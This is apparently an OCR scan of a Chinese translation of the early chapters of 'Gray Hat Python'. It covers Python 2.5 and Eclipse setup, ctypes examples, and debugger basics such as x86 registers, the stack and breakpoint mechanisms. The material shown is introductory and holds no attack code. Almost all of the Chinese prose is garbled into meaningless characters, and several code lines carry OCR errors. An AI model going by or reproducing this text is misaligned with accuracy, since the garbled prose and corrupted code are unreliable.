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X281 FIIEOR, BEAT PR AR U, TR SSBOR A — I FE Y, ELUR 22Tt kT,
R HE RGN AT T

RAAARTWEAEE, Prel B i A —E MOk B R . W RARE —A> Python BT,
AT B ST, RO AR5 BIR 2 0 B hack Js B MW RE S TS, (8T LUR A 58K
BRI IRMAEST . WARIREZXS Python fRFAZ, JFHXT ctypes FERAR T 17, AR AT LABE
A . AR, Rt E] DU 2 2 R LA ORI — B, R AR AR A T RS R

e TARZFHFIHR RS, O UK 888 BLF hacker (1A TS — 5 R 2,
55 Tu% Immunity N IR e, U205 N5 A4 -E R hooking LA KVE N BCARMIAN2H (M T
A (PR AR 2 o

ARASEE RSN fuzzers 21 3 )\ FESUHAIEAE T fuzzer JRBE, FFHAGEE—
AT file fuzzer. SHILEE, M4Hu K Sulley fuzzing HESE, FfHAEHE fuzz —ADEIE
1] FTP 5545 2HTE, 2ZME—1 Windows Kzl fuzzer.

B, N4 IDACEE A SO g T ) ) Python 7 . T =%, TEANUMHE
PyEmu, —~3& T Python /i FL4% .

AT A AR ER S PR FR T R, 7SR M7 #AM T AN R U . T IRTE S
B ASHI R, AT AR A AR Sy o BT LSS B TS P Bdsag ey LA AE
http://www.nostarch.com/ghpython.htm #£#1,

Now let’s get coding!
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7E R FFEE 4 A\ X475 1 Python Hack 2 B, ibIRAISEE—
REEHELAFECH TR, HERXEMEESK, EaibR
L ERE

X FEIRATE RS YR, Python2.5 )43, Eclipse IC & , PL WSS C F%5 1) Python
£

L1RERGHES

SIS ] PR 1T 5, Windows S if 1) H AR . Jos) T BA 2 8 NHE, 434X
T TF A Crack #ARFEE 25y, T LAAAS (K30 /- ARG L+ Windows(£FAr] #% e 4 1) 21 1)
Windows fAY).

D ERAY BB REIE AT AE 32 ALY Linux o ToiR A2 2 3EHE VMware(VMware 42 4t 60 2% Jilt
A AR M SRR IS 920 b, #B84T . Linux JRASARZS , AT T Red Hat )% A

£ :Fedora Core 7 or Centos 5.

4 %3] VMWARE £ )

VMware 75 Ml E3AE T G2 AR . XL ERINLH T30 T8, IR, seEF
FEFF I, [ AL 58 LTI

FREP T #idEHz hitp://www.vmware.com/appliances/,

Pyayer F£/7 F 48k $2:http://www.vmware.com/products/player/ .

N /

1.2 3R EU A1 %3¢ Python2.5

Linuxer A DAkt iX AP HE, K64 Linux #8A & T Python. Windows  nJ LU i fili 37
2L AT %



1.2.1  7E Windows _I-ZZ3%% Python

Windows [ 224l AHT LI Python 5T L T http://
python.org/ftp/python/2.5.1/python-2.5.1.msi. X i, 22— P WILIRRZEEWAT. RN
E % C/Python25/ 1, %34 T python.exe AERIA %

fen R EK LR Immunity PWIAA, HAE TIRZ DA INEET, HAtA Python
25 fE A om o oE Y o, AT W S A A B Immunity . N 0 0
http://debugger.immunityinc.com/( AR A S 5 LL k],

1.2.2 7 Linux %23 Python

W FFEAE Linux BT T4 % Python HI1E, A DA F 20 34T . 1X .48 1] Red Hat
FIFT AR, I HIX AN FE A# H root AUBR .
H—20, T Python 2.5 JRHY A [T

# cd /ust/local/

# wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz
# tar —zxvf Python-2.5.1.tgz

# mv Python-2.5.1 Python25

# cd Python25

RIS 1% 1% %) fusr/local/Python25 2 )5, g i 2035 T

# ./configure —prefix=/usr/local/Python25

# make && make install

#pwd

/usr/local/Python25

# python

Python 2.5.1 (1251:54863, Mar 14 2012, 07:39:18)

[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more information.
>>>

MAETRATHANA T — 438 52U Python Shell, HEW H 1 EE4E Python 1 Python J 1.



B AT AR R

>>> print "Hello World!"
Hello World!
>>> exit()

#

IRUF Y — V) TAEIES « A T ik RGREE 2] Python vF I 23 1 #8145, 75 2240 % /root/.bashre
A/ 447 bashre) o A N EE 3 F 4 nano, AN IR T DAAT F AR 520 2 B 2 (N AHERE vim 2R
W), §TJF/root/ . bashre, 7ECAFEHEIIALL NS

export PATH=/usr/local/Python25/:3PATH

XFERFHRPAT python i I 5, wi A H % A 5828 1K) python #8142 T« N IXH root &3
I, WEAEATA] shell N python #tRER 2 — 48 X[ Python Shell T

AT AR I RARS, R iEIRAIECE H & IDE(ntegrated development environment ).
(FIMTF KA :ActivePython,UliPad 53 Script NET, ipython 5 # bpython. ik, H3))
R, ZHURHA T . )

1.3fid & Eclipse 1 PyDev

N TP T R Python F2/7, BAA ST H— M2 IDE V5. XHE/ELHE
% Eclipse(#5°1- 4 1) IDE)FI PyDev. Eclipse VAR K m] s e H 44 o R L 3RAT
BEMZERNE T

1 M http://www.eclipse.org/downloads/ F % JE 4 2,

2 fi#k3]  C:\Eclipse

3 1217 C:\Eclipse\eclipse.exe

4 FUGEAT, W e RRCE TAEX M H s AT BRIA BT B Use this as default
and do not ask again 2 I, s OK.

5  Eclipse Z&5Uf L5, #EF¢ Help Software Updates Find and Install

6 P Search for new features to install 48 J5 fi 5 Nexto

7 i New Remote Site.

8  1F Name J5 [ - PyDev Update, 7E URI J5[HI3H [ http://pydev.sourceforge net/updates/,
ridi OK #fiik, #2345 545 Finish, Eclipse 2 H 31714 PyDev.

9 o)L, HEE s, BT PyDev Update, i% - PyDev, i Next 4%
gr 2.

10 [k PyDev X, WIR A, 7 I accept the terms in the licens agreement % |,

11 i Next, F Finish. Eclipse J74fi%%é PyDe ¥, A#5CHUGE, Hili Install All.



12 fJa—¥, 18 PyDev LHUf 2 5, Hiiki Yes, Eclipse 2§/ 813 #k PyDev.

2P B E Eclipse, LUifR PyDev B8 IEAf1) i FH Python fifERE 25 04T HIAS o

1. Eclipese JX#l )5, #EF¢ Window Preferences

2. ¥ J& PyDev, %#F¥ Interpreter - Python.

3. FEXTURHETUNG ) Python Interpreters 1 15 i New.

4. WYF| C:\Python25\python.exe, #XJ5 i ifi Open.
5. FAKHEHEKE 241 H Python T &2 4% T IR .
6. PHARI OK SEM %%

TETHIRH A HT, 52— PyDev TAE. AT HIHT A AESH AT LAAERX A TR FTIT.

[u—

. MKIRIEFE File-->New-->Project.

2. JEJF PyDev i£Ff PyDev Project, riili Next 4k4kL.
3. ¥ T Fify 44N Gray Hat Python. i ih Finish.

Eclipse % 1 HEI ¥ J5, 2% % Gray Hat Python T FEHHIRAE R HEAE B ff . BIAEAT o
sec XL MFJe, %EF New-->PyDev Module. 7F Name “7-Bi#ii A\ chapterl-test, siihi Finisho HiZ>
FH|, TR ER T, chapterl-test.py %41 F£H .

7E Eclipse 11247 Python JHIAS, L T HA FY Run As(HH 2k R R A 6057 k)%
AT 7o ZHAT AR BIIIAS, nf DAE PR B CTRL-F11. JAAS ()% th 25 W 7R 75 Eclipse
J&%ii ) Console [t . BLAE )T FH4R £ AR

1.3.1  hacker {JH i K :ctypes

ctypes ST K, SR RIAAS LU A LT BT B Ttk o A& 3R Tt RE % 14
SRR R A, RN QU S TP 241 C B R FR 2 B E R 4. 2= J0BE], ctypes
HUEAAS L

132 [FHAsSISHEERE

{4 HH ctypes I35 — 30wt B (1 S ol e A FH U7 1) S A BE R E H IR e 8. — > dynamically
linked library(# 8 &1 H 10 ) H S22 — A IS, Ak — & B SANIZAT, 12 )
R AT . 76 Windows b4 dynamic link libraries (DLL)#) A%44% 78, 7F Linux b 114
shared objects (SO)JL . TRt A6, XKLL 1)k B#f b 20l it T H A7 A, 2
JE PN AE TR BRI bk . PrRAIER SO0, B RS, HRDA S5 AT H oK B L
Al ctypes BEAFEM T IX—

ctypes Fefit T = Rh 7 VAR B0 ABEE % cdl1(), windll(), FT oledll(). ‘EATHI AR Z &b wh7E
T BRI NERGR EE . edll() IR, T H R R E o i AT FRAER cdecl 1 H]
2958 o windlIlO) /7P, S 1R Zen 2 stdeall 8 F 2 2 (Win32 API [ R 42 24



JE o oledl1() /712 wind 1) ABL, ANid fun ek 250 [0]— A4~ HRESULT 454005, n] LA H] COM
PR B FAR BB DA R

WM 4 %

WHZE TRl H 7. Kb s, S RfEIET7%, iy OB
FAELGTTAEA), LA REOR A, Fe ) P AL BR o N THEX PR A 24 0 2 B AT o i F 31 1)
cdecl and stdcall. cdecl WHZE, BREIISEHMNAT MR AN, BRI
TERRBAT SE B, 05T BRI 1T X PR 2 e 5 H T x86 ZEAI C 5 5 B

InC

int python_rocks(reason_one, reason_two, reason_three);

In x86 Assembly
push reason_three
push reason_two
push reason_one
call python_rocks
add esp, 12

M BT gaACaS T, v ATE T E S S8R S0, e —AT, BRIRERm T
12 NMEHCEANS B R, AR RITRE# 4 AT, R 124,
43 eRECH S P ERSREIC 208 H R4
R HEAS stdeall P21 741, HT Win32 APIL.

InC

int my_socks(color_one color_two, color_three);

In x86 Assembly
push color_three
push color_two
push color_one

call my socks

EAF 1, SEAG 2 N B e, AN FR IR 47 40 BE H pR £ my_socks
HOsER, A .
Bea— ki, IXPARE 7 AR [FHE A i 7E EAX s

TR AR R RS, B C FEHR A printfO) BRI 2T BN —45iH B, Windows H ¥ C JE
£7F CAWINDOWS\system32\msvert.dll, Linux ") C JZE{7F/lib/libc.so.6.

chapterl-printf.py Code on Windows




from ctypes import *

msvert = cdll.msvert

message_string = "Hello world!\n"
msvert.printf("Testing: %s", message_string)

S g R Wk

C:\Python25> python chapterl-printf.py
Testing: Hello world!
C:\Python25>

Linux ~&H B A -

chapterl-printf.py Code on Linux

from ctypes import *
libc = CDLL("libc.s0.6")
message_string = "Hello world!\n"

libc.printf("Testing: %s", message string)

g R are:

# python /root/chapter1-printf.py
Testing: Hello world!
#

" LA B ctypes i 15 & S 2 P ) o B50f 2 Bl

133 Wi C HigRAl

1/ Python G —> C Edu 2R AR B L, /R w] AR 25 5 I H £ C 8 CH28 1 410}
Listing 1-1 %78 =& Z AR TR R

C Type Python Type ctypes Type
char 1-character string ¢ _char
wchar t 1-character Unicode string c_wchar

char int/long c_byte



char int/long c_ubyte

short int/long c_short
unsigned short int/long ¢_ushort
int int/long C int
unsigned int int/long c_uint

long int/long c_long
unsigned long int/long c_ulong
long long int/long c_longlong
unsigned long long int/long c_ulonglong
float float ¢ float
double float ¢_double
char * (NULL terminated) string or none ¢ _char p
wchar t * (NULL terminated) unicode or none ¢ _wchar p
void * int/long or none ¢ void p

Listing 1-1:Python 5 C %3555 e 5t

TR T RPN AR S BRI TT o ctypes RALHIIRALHIME, KNSR ALIMZIAT & 7 X
MESK. FH NI BT.

C:\Python25> python.exe

Python 2.5 (1r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from ctypes import *

>>> ¢ int()

¢ _long(0)

>>> ¢ char _p("Hello world!")

¢_char_p('Hello world!")

>>> ¢ _ushort(-5)

¢ _ushort(65531)

>>>c¢ short(-5)

c_short(-5)

>>> seitz = ¢_char_p("loves the python")

>>> print seitz

¢ _char_p('loves the python')

>>> print seitz.value

loves the python

>>> exit()

g — B 78 AL F T "loves the python" i) 7 15 5 8 £ I AH 25 A8 & seitz, JF il i
seitz.value J7vLE1E: 5| H THREF RN 25,



135 EXEWHBE

SERFNIEC G L R F S B s 28 A, B K5 H 1~ WIN32 1) APL AT Linux [#) libe H.
—NERAR R R AR AR R AR S (A AL A ) S S N ) AR SRR A Bk
HRRE, AT PLE A AR R KV W . BEA beer recipe.amt barley, il & Vs[4 beer recipe 45
)+ fr) amt_barley A8 & .

InC

struct beer recipe

{
int amt_barley;
int amt_water;
i3
In Python

class beer_recipe(Structure):
_fields_ =[
("amt_barley", c_int),
("amt_water", c_int),

]

WIPRRT L, ctypes RfRISLATALAIE T4~ C HAMILH .

R NG RIAR G o AR IR v P A AR B R AL — S W AE i, By T — AN AR R N A7 23
XA 22 1) R OR AN A A B R RIS AN AR B KK /AN o TR AL RE 6K K 5 A D AN [R) S 28 ) AR R A
] T

InC

union {
long  barley long;
int barley _int;
char  barley char[8];
tbarley amount;

In Python

class barley amount(Union):
_fields_ =



("barley long", c¢_long),
("barley _int", ¢_int),
("barley _char", ¢ _char * 8),
]

TR BATR — AN HEBORME 25 B 5 ) barley int, #2535 A1 6% 8 H] barley char, H
FREHE L= NIA SN 1) 66

chapterl-unions.py

from ctypes import *
class barley amount(Union):

_fields =

("barley long", c long),

("barley int", c_int),

("barley char", c char * ),

]
value = raw_input("Enter the amount of barley to put into the beer vat:
my_barley = barley amount(int(value))
print "Barley amount as a long: %ld" % my barley.barley long
print "Barley amount as an int: %d" % my_barley.barley long
print "Barley amount as a char: %s" % my_barley.barley char

R

C:\Python25> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B

C:\Python25>

A MR — ME RS B =PI A E IR I 7 5 B f5— barley_char it 145 2 B,
Ak 66 Wilif/E B 1) ASCII fith.

barley char B 52 A I 2 AN AL, — AN )\ 05 RN - 78 ctypes 0 HIE — M504,
JUER] (PR AR 2R e DU B g B s nT A T

VI, TR BT R AR |
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WHiRES T

RS e B R IR - R EE W B X R R S T3 A ER BR
M. FERR 4 K E| exploit fuzzer FHEEHTHIRR, 3h
DANTHIBE JT PR ARBIBEARIK ot 1 i 22 40 1) K S TR B AL T

(RN I IR A S B, AT AN IS A AT 1o BT D AT R BEAIEAT PP AL PR IR A% 5
WAL TARE Z IR AL . thliisqT, i, Dik, AR WER BAEE A
SAINAE s SRR, XS RERAE RN, I FRIXTE SRR K

FEVRN S 0T, Seib Ao T T B il B S AR . 2 TR & #e
WE A BRI, SRV R TSGR RE P A TG A (R R ER DI . X2 &
PR AR BN ACHS (I, TP A, 301 TRENT, Hacker #tax b H] HR &5 A ER
ER HARRE Y. SR, el e AR BURAEWI Y, ME—RER 2 A it S I i
AR o IXINR ZE oM R P I IE AR RS, S R PP OB VOB 2219 SR 2%, e BRI [ B 25 5
% o R e PR30 [ PR B 5 (V300 i) T OB A A AR AR MR R, e, AT I Ttk
ER A, HRHITAE T TSR,

SRR 7 A ARAN TR AR PR A A, AP Gl R A2 ring3
PR SRR Is AT P R i — el IRl REy ). P BB e IR
ity “IB5E (caclexe)” MR, WL E— A GONIIRERE; XA BERE ) 1K
Aot A R OB R S e i i o X HLSAT B B RN, e, Rz
. i84T Wireshark BERES W, wURA— A TARAE NAZ I MRS T . 2R
PRACET 5 X A A N IR SRS el BEA P SCRF AR sC R R ks 17

IR ST R R s KN A AL T WinDbg (4:7), OllyDbg
AR /E# 2 Oleh Yuschuk) o *4R7E Linux N R M5, At 2248 1)
PRUERT GNU k8 (gdbdo BLER =M f ok, #A % Bk GRS .

B LA, PR R B BRI T ROE IR E, Rl i AE Windows 1 5.
B REIR AR ILAE RO AT e L, e BAR B ) (4 75 O s AT 20— 2B T R A
L bl e sy 74, DA LA %110 Hacker AL ) TRENT &1 100 &R Dhfg. 7E
X7 T PR A B 1) 2 AT AR R B AR b 43l & PyDbg (byPedram Amini) Al Immunity
Debugger (from Immunity, Inc.).

PyDbg & />4l Python SEHLHE A% , 1k 2 BE ] Python 1 5 4= 1 i42 4] — D HERE,



SCHLE ST R Immunity 82— A E ORI AT — e iR 2s, SO 2 AL
AL OllyDbg, {EEHA 5 K L BE LA L S22 ) Python Yl o« IXPI NI SR EA )5
TR TR . IUAESEAEFATIRN T R Bl (0 — A PE

FEIXE , BATRALIE R I HAE x86 -G NI #, X CPU AR &, (M)
B LA R 8 (0 T 248 0 1 VR AR ST, BRI Bl 2 1O AR S B, O SELIRATT A 2 i
#dT N AL

2.1 HH CPU HF1is

CPU [ 75 {74 Be 0 /D B B AT SR R A U ) o 7 x86 Fr 2% HL, —/~CPU
J\ANTE ] 5 fE4s: EAX, EDX, ECX, ESI, EDI, EBP, ESP #il EBX. 1R % MM &1, 8
S HAR YA . 1K)\ H A8 S A AR AE, TR ERXT T3R8
BRI ILIRATE TSR — B TR IIRE o 55 TATREAM I — AN ] FL ) S
5 K B B At e AT A v

EAX 2rfr as RN 2r 4745, Bk 13476k R B8R IRl ELA b Y3047 TH 0
Beflo VFZ AL x86 TESEA L 1B T 41X BAX W A8 0 B 5 M54 o Z1n
SEATRIIN K, LEEC B VRF PR K ReBRARAE AT L T EAX LT 4 o

RO ERATTUE T, PRALIIR [P R AP A BAX T A7 B . X SR 2, [MCA I IR (A
(¥ EAX HLEIATR LUA B & BOE AT B 545, 8 13 2 D) R e

EDX % 77 ds B MM 55 7% o XA A A7 WMATT E R UG EAX Z5 A7 AR IR IE
EHE EAX S8 RE 2 ARV AR AR G IRIE bRk . E AR R A E I AR A, A
M2 LS5 G EAX FF AT U A

ECX Zifrds, WOt Eafrasy, HTIRMRAE, HE SN AR iR iE, o
FHHF G A mREE, ECX A A EE m R imAE m B (R g2 H T
PEFAHRATE It IS /N DD 6
F-— F R Python v Bt:

counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter += 1

WIS AR XA AL B GRS, RSB BRI HE ECX K451 10, 55 4%
OIS T 9, Witk e 53 4038 ECX i/ 3 0. XARA S ik NINZ, YA Python 7GR
WIUFARIS A B, H & R A ECX J& i RUFEEAT T s

7E x86 Y2 L, HK5E ESI A1 EDI &7 A7 #% BE X0 i EE AP R A1 A A0 HEAT v 28 i Ak 2



ESI ZF {7 a e R E AR Er, A AN IR R IO B . EDI 7282 H ML R E
il T g B AAAE I E . 8 = 2, ESI (source index) [ Fi%2, EDI (destination index)
HT5E. HIEEIEEERE A H A EEdRE, ORI & TR P A 3 1 350% .

ESP Al EBP 73 il 2tk FR AT MIFARET o XIS & A7 a5 S [F] 7 5T o 2010 o HI ARG P 45
PEo AR BB A A IR0, o K0 22 1) 2 el 282 s A PAY i R 00 30R [ i th 49 s
#Eo ESP #RAE I, Watitik RIdiht. EBP WFEAE R . A%, g4 st i ik,
B EBP, AESLA T ERAE, ARG i i) =5 A7 A

EBX & ME—— D BCARFR A& M2 7785 B REW AT N BN A ifi A7 s
AT A ER SRR AE A EIP . XA A7 a2 dR i 5 B EHATINGE 4. 24 CPU
PAT AT R T T ARG IR, EIP 23 SEIN 45 i) 2417 CPU 5 B ZEHAT B HOf7

AR A BENS AR T (R AR ORI UK L8 55 A7 2 1 N 3 B MR R GUAR R A
T M DAERIAER A CPU AT, DM RENS AR B X S8 (E . JRAT PRI AE 5 1 BT R 4t
BT PRGN R BT A o

2.2 1%

FETT R A PRI R — AN T B S5 4 o BA it T 5 R B0 A DR R 48 B
BT bR HIK 2 BRI R BAT S8 R IR BT 77 . ESP S ERIERAR T, EBP 4 DT ERFRIR . #%
M 1 e AR G o AR TRATTH AT 4 55 (T RR 2 my_sock O b Bl DA A2 ot ]
AR

Function Call in C

int my_socks(color_one, color_two, color_three);

Function Call in x86 Assembly

push color_three
push color_two
push color_one
call my socks

FRAEZR ) S hake i b 2-1.



ESP register ————m Return address

color one

color_two Stack growth direction

color three

EBP register —————m= Base of stack frame

2-1: my_socks() BRI FHIERGH

WRET W, X2 — AR T SR 4, RN AR e o - Al 4
my_sock() BRI HCR [F (I, B4 AR LA 1S40 GR[PIHEESER) EIP), K5 BkE]R [H]
Hihik(Return address)$& ] (I 7 (SCRREUARIS B REEHAT . o — N7 B B AL St 2
MR AL HETRAT my_socks() BRI & — ri, LhTRATMEE bR B F S A0 2 — A St 2
HIG— NP 54, B350 color one KHIRIEZHH . ARALDV %G IXFE:

int my_socks(color_one, color )

{
char stinky sock color_on[10];

PR HCKS A A8 T FH I stinky sock color_on X2 [R], DUMEAEM A CHRESBEE R
B PAT e BB, A ILAERE A T U5 I, SRS mIRE ). HE I UG, MR 4
BB IKE 2-2 HRIRXFE



ESP register ———= stinky sock color one

Return address

color one

color_two Stack growth direction

color three

EBP register —————= Base of stack frame

Figure 2-2: 7E stinky_sock_color_one HIi% /5 HIFRIEL
RAEAR B T A< 3 oy H502 AT 70 A L P 1 DA AR FR 2 GnmT AN BT ) K i3 1) e Tl

(7o s X HER AT A L RE AT AT R, e s A8 BAT T PR Py 3 5t BRI O
TR FRIZE I DR AR Ik

2.3 FAREH

PR ERAE R P (I 2 — B A S , BRI 21— N RF R A A
PERA IR, A2 WA 0 N R A E AR B R 5

Kb B R B AR, RS S BSR4 A T — P dR . DU R 2e i — A
P A R RERE S B CLE A

A
AR (L s B D
© RUESRE

A RGBS J7 K P 4 T 5 0 R S R0

TR o FBERS, Gelid (A BHEZREME, e g s g i et Lo
L) AR PR (R N8R I A%



—AMT5 R S0 20U T E I IAS (4, REWS B 0 SCERA A 2L o i M i o R P 0k
11 B 281, — AP RG] AL A G DR Y, 6 PR ORULAR 24 AT .
U RAE VI IR AR Rt A IS AL, — D ICRAS R o (R A AR A e 11
If (R RS BRI (RO IR, € RES S SR AR O, I ) AR AR B R 5, T B Sk S Ty
FHSRHE o IXAAT 4 T I, 3 Lh FRATT S 4t 42 o A U A

24 Wi

P HATT 5 B AP ORI Rt o 2 20 o T s 2R, FRATTREM 5
ke, HERRSEALAAE R, JF HAdsA i Te Wimt A AR5 2 Rarat, A 0cim a2t R i i
REENRE AL AR DA ES FE o Wi i P =Pl BRI o, EORINT AT, AT e AlATTH
AEHARBLA TAE T3, B S T B & A A o
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BRAF I AT S AR CPU PAAT 215 & (07 B (KA AR A L 42 o ST A
R S AEURAE IR T R 5 22 (KW e BRAEWT Rl A T2 — AN P INR 2, T8
BARATREF?, TR IR R 45 1 A% H BT R AC BE BRI o AR B 1B ] A 2 TR 50
Jo I REAE x86 VLG LR MR ARG 1 22 5 o

IC9itE2 72 CPU SAT I Ay 2 I R ik 28011

MOV EAX, EBX

EAEA I CPU {47t/ EBX Zifras LM ZRTU TR EAX A fras o A4, A

JEN? SR CPU ARAA I FINIA 484, & Db AU e A s — P I AR A E RS R AR 0 o R AETS

(opcode) #i /2 operation code, & CPU REFEAR I HATIITE T o AT G452 e A it /RS
A& R T I

8BC3

BRI, 5 IEAEHEAT FRERAEAR 2 > N, (EX RS CPU B S o R
DAAEIE S 48 2 A5 CPU 11f¥) DNS (Bl b 4% At 1P (IR 2 55 )0 ARANHTFE— AN
IR MR P AR CRABLIP k), B AU A2 (a7 B ARV 2 O 2 B Jm IX SRR 24
SR A AR i o A8 HH R IR AR AR D 2 P B BR A0, (B ARAT DT BE AR BRI
JN )28 B e o s R 8



R IR TP AT IHAR TR 2 K AETE 0x4433221 XA MR, — B2 X RE s r

0x44332211: 8BC3 MOV EAX, EBX

KR R T Mk, BRERY, R aiE A . b T EIX AN bk R W A, B S CPU,
TATHE N 2 ASF51 8BC3 FRAEID 4t — NS IRV E RS o 3N S 5 R RV E Rt gt 2
35 iR A (INT3), —4kBEil CPU B{EHIES . 3 5 Wik s /Fid s & 0xCCo X
LR VR T R R T RS TR B

TEWT RO E AT HI RS

0x44332211: $BC3 MOV EAX, EBX
W A B R IR IERS

0x44332211:  CCC3 MOV EAX, EBX

IR Jg AR TR ) 8B U T CCo 2 CPU HRAT B AMRAE RS I %, CPU 545
Ik —A INT33 S WM. WLl A 5 BEARBLIXAS S, EE00 7 Bt 3AT A S
W, AR L T BAR R IR . bl 35 S 7E H AR bk 808 — AT A,
G H AR S A AR RS, AR PRAFAER, RIS A i 75 A S o T 21
R A, WWEE DT IR CCE AN k. 2 CPU $ATE] CC A1)
gt 2 il — A INT3 i, IR s sl RE PE B A Fo0F o I alas 4k B W A
AR WAL CE T EIP 385, $5-4REN) AL B COuir B E W A p k. W R AE R
DU A B R B R 2 b 4R B T IX AN, SRS T B T A AR R PR R AR S [ 1 H A
b, IXFERERE ORI R R R IE R AT B 2-3 XPURREAT TR AL



Breakpoint List

Address Byte
0x44332211 8B
®
@ Debugger is instructed fo set a
breakpoint on 0x44332211; @ Overwrite the first byte with the
it reads in and stores the first byte. 0xCC (INT 3) opcode.
g
£ &
— CPU [EIP)—»= | o0x44332211: 88C3 MOV EAX, EBX
© When the CPU hits the breakpoint, =
the internal lockup occurs, and the
byte is lipped back.
2-3: 804 R AL B R
A RS R R R AW r] AR BE R — IRV ORI P T e — RPE I R, —

HIWrd gl Girrp) —K, Bt NS IR E Brdsie. — DM REANERT 5iAE CPU filtk
Jr 2 BOFT A AE N AR IR R AR L, DU RS AT 2K e 2 T

SR AW A — AN TR 8 MRS T R e (0 A A s (R I, AR R I 50 7738
AT A IR TC AR50 5 (CRC)o CRC & — PRSI0 Bt 2 S SR e B, e
ZHINH TS, AR, SO, 4% B AT R AR R AR 25040 SR i 7 . CRC B — &
VO N A S HEAT hash CHOSD THEEE, R0 ) TR b — U X HERR I W AF Bl b AT I B, AR
JE 4 hash fELATICHT J5U4R 1Y) hash {EEAT BLAR, DU Ko 1t g chd o G SRANTR] 358 WD el 49
WAl T, BRI X RAR L, R R e WAL e AE A A s AT IS ) CRC
(R A, AFBHIERBAES, WASRIEA Qo 4 T AKX PRI O B AEIE N 1
BAT R TAE, AL R EWT R T

2.4.2 TEHHT

BT A AT JE G 2 AR DRI P BB WL, (EE SO BE B B E AT I A%



IXFRI W SR B AE CPU i, RIS e %oy IR A48, — /N CPU & f
8 MM Z A7 %% (DRO %47 253 DR7 % 474%), ‘B T BLELERT & . i %47 2% DRO
PR A A7 2% DR3 A7k Al LE T bl o IR R IE)— I ) e 22 LA AT 4 MR A
DR4 Fl DR5 &£ . DR6 ;& RATT A48, Ui T 8% Wl 2 R S48 . DR7 A 1
JE AW ST SRR, [N AR RS T WS R [E RS . Sl 7E DR7 F A7 o8 L E
AFbrE, BEm A LU JURIKT A5
o YRR HRE AR A AT I
Coe o YRR R B ] LLUB ORI
2 i Rk A B B S E AN AT ) A
FKARE A, YIREE ERERIR S (B2 41, RBEEBESAT I FERE I i o

Bl 2-4 WoR 15 BRI R RPIR S, AT AR O 7B

Layout of DR7 Register

LIG|IL|G|L|G|LI|G Type | len | Type | Len | Type | len | Type | Llen
—
DDDDDDDDJ DR | DR DR DR | DR | DR DR | DR
ofoj1|nrj2|2|3|3 ﬁ
Bis |O 1|2 |3]|4|5|6|7| 8=15 [1617|18 19|20 21|22 23|24 25|26 27|28 29|30 31




DR7 with 1-byte Execufion Breakpeoint Set af 0x44332211

1{1|jo|0|0|0|0|0

L‘J L]

00 | QO | OO | OO | OO | QO | OO | OO

D
R Oxdd 332211
0
DR7 with Addifional 2-byte Reod,/Write Breakpoint at 0x55667788
ez
IIIIUDGD/ 00 | 00 11 01 00 00 00 | 00
Z
? -
D
R 0x55667738
1
Breakpoint Flags Breakpoint lLength Flags
00 - Break on execufion 00 - 1 byte
01 - Break on data writes 01 = 2 bytes (WORD)
11 = Break on reads or writes but not execufion 11 = 4 bytes (DWORD)

& 2-4:DR7 B2 RE T W7 m 2R E

0-7 AL BEAFWT i BG5Sk T 9% e AEIX B LA G 7B Jay A 42 Jmy A A4
bras e AT ABEE T, DL A P H i N T . 8-25 fiAEe
BT PR HIAR], 75 x86 [T L ARTT LUK B 06 T IX Se 2 5 PR A0 e . 16-31 {0
YUE T WEAE 4 AW A7 PR S SRR S R

FVAE W pi AN, AR DT AN F INT3 A7, & A INT (L 5 0. INT1 67 S bl £
A AP BE . Pt O Single-step ) B BB IIATIR S, ARG B IDUL 5% O
A LA I ML S 1224k . AE CPU BERPAT AR Z T, #2356 A 4 K $AAT IR A QR 1 3
Il A T BT s e M, ) AR A DA A A AR I e 1 T A T ) P A DX
WA f# 7 /E DRO-DR3 Hf ()bl e iy () DX Sl U il 77, o fis &% INTL Hpibr,  [] ik
5 CPU. W &A, CPUPATAY, 2T —ATAHSN, CPU L:EE LR E.

AR AR A, (R A SBR[ — I ) R e e DA W s,
— 5 T W GRS RAT 4 AT (Al 4 A1 I N AF B g D)o R R AR
BRI KRWAF A, U IANEN T o T R AN T, R0 T 2 A A7 W



243 WNEKS

WA L SEA R FIE MW e NS B T DA R Ik, B s
A2 T A AF RN H s TR . — AN A7 TR AR R G A B B N A A — Y
A VR I LR BT T BURER, & RIE T WAFIZU e s i o T2 2E A
BRI ) BLFR K5

AT SRFRATEA SRS, A5 W U5 )
AT AW N NDY TG S P ii G 7 e & N 1 DL e LT B
HEEDA FEVPREE S N DU
) AR R BT S ) A AR, 2 BT AR U5 )RS
REBAGISCVIIRERE XL . 254000 1, IRBEAAENAFH QI 4> 001, BERE
BMAES, RIS — Ui BERE 1 X RERAT o BN ERAE RS P 1 R L R A 2 T

WAFTL GFEASERT A D AR, JFBAESCe]. %K 2-5 WA [ BPR i A A7 02 1 £ s
S WA ) 1Y o

Read, Write, or Execution Read
flags on a memory page R 0, 010101101010010101010100101 1010101010101 ¥ Write
allow data fo be moved in g - Execute
and out or executed on.

Any type of data access R w — /g
on a guard page will 010101010110101001010101010010110101010101001 - gou‘“dé
result in an exception g_que =
being raised. The original GUARD PAGE EXCEPTION %

data operation will fail. - - /

Bl 2-5: Z A FIAUR B AT

X HLIRATE AR K PR 5T (Guard Page) o IXFHSERY A U3 B T2 70 B HEAN R B
R — 87> WAF B AN B TA T o 5 — Bl 00, 2 2 — NS E I N AF BRI R iy b (U
WD) T, BUEERERE . 28T, WURTA TR )RS IR 5 FE v, AR R 2 2% chi
BOUE, BA AT SR B A EBCE R U0, St Ietr iR, — HAE DGR3 U U
o], A CPU e, — AR TORR N, R R ATHRE i 2 R e AEAT A I i
AT 275 A7 R B Bl 7o 2 n PR D BRER SRS 1) WA R 2, AR E FE )




i T A a8 A1 o ORI LRI g g 1 P W s s SEORT K 1), IR AT 1B B U E
AT A .

FIHFT NI, FAICL VMRS T RS SRt Zn UM TAE R, B PR EE A ST
H— Python Hik#s, XAFET Windows IR R AL, B HBIFATH AT~ 20 T
i



3
H B3I FE — Windows iR 2%

BAERMN O L VRS T EMAR, BRNEESH—/EERNK
VRBHIRET . 4K TFF K windows &, M1 mT —
KRS N RE R TARR B AT B TR ENRE =R R E. &

TR B A X 2 i B B AR 1 2RI 4E python PRI 2S . A — AR 2, IRATALJEAE
